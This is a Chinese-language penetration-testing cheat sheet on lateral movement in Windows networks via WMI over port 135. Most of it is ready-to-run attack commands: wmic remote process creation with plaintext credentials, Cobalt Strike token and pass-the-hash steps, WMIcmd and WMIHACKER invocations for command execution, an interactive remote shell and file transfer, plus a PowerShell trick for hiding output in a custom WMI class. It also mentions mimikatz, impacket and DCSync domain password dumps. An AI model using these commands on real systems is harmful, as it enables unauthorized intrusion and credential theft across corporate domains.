WMI
如果内网中有windows机器只开放了135端口,可通过wmi进行执行
是什么
windows在Powershell还没有发布的时候,微软用来管理windows系统的重要的数据库工具,WMI本身的组织架构是一个数据库架构,WMI服务使用DCOM(TCP端口135)或WinRM协议(SOAP-端口5985)
前提
拥有对方凭证
利用
wmic /node:10.211.55.1 /user:administrator /password:Password!@ process call create "cmd.exe /c ipconfig >C:\ipconfig.txt"
在CS中如果有令牌或pth可以不用帐号密码
make_token administrator <password>
# pth administrator <hash>
wmic /node:<IP> process call create "cmd.exe /c ipconfig >C:\ipconfig.txt"
如何做到回显
-
WMIcmd.exe -h 192.168.77.171 -d WIN-887RATLMALI -u administrator -p 123456 -c whoami
建立连接后
WMIcmd回显原理
将执行结果插入了注册表,然后再读取注册表的值来完成,不依赖445的回显
也可以新建一个wmi类来存储结果,再去读取其中的值,这样就不用直接对注册表进行操作,也能实现不依赖445的端口
存储
$StaticClass=New-Object Management.ManagementClass('root\cimv2',$null,$null)
$StaticClass.Name ="Win32_Command"
$StaticClass.Properties.Add('Command',$Payload)
$StaticClass.Put()
读取
$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value
工具
通过135端口进行横向移动,并具有免杀性质
命令回显
cscript WMIHACKER_0.6.vbs /cmd 10.211.55.1 administrator "Password!@" "ipconfig" 1
无命令回显
cscript WMIHACKER_0.6.vbs /cmd 10.211.55.1 administrator "Password!@" "systeminfo > c:\1.txt" 0
交互式shell
cscript WMIHACKER_0.6.vbs /shell 10.211.55.1 administrator "Password!@"
文件上传
cscript WMIHACKER_0.6.vbs /upload 10.211.55.1 administrator "Password!@" "c:\windows\system32\calc.exe" "c:\calc.exe"
文件下载
cscript WMIHACKER_0.6.vbs /download 10.211.55.1 administrator "Password!@" "c:\calc.exe" "c:\windows\system32\calc.exe"
支持PTH
但属于没搞懂vbs 只知道administrator和password!@换成- 然后结合mimikatz的pth就能实现WMI的PTH了
实战
一般可以把流量代理出来,用impacket就行
如果具有dcsync权限,dump出整个域密码以后,可以进行横向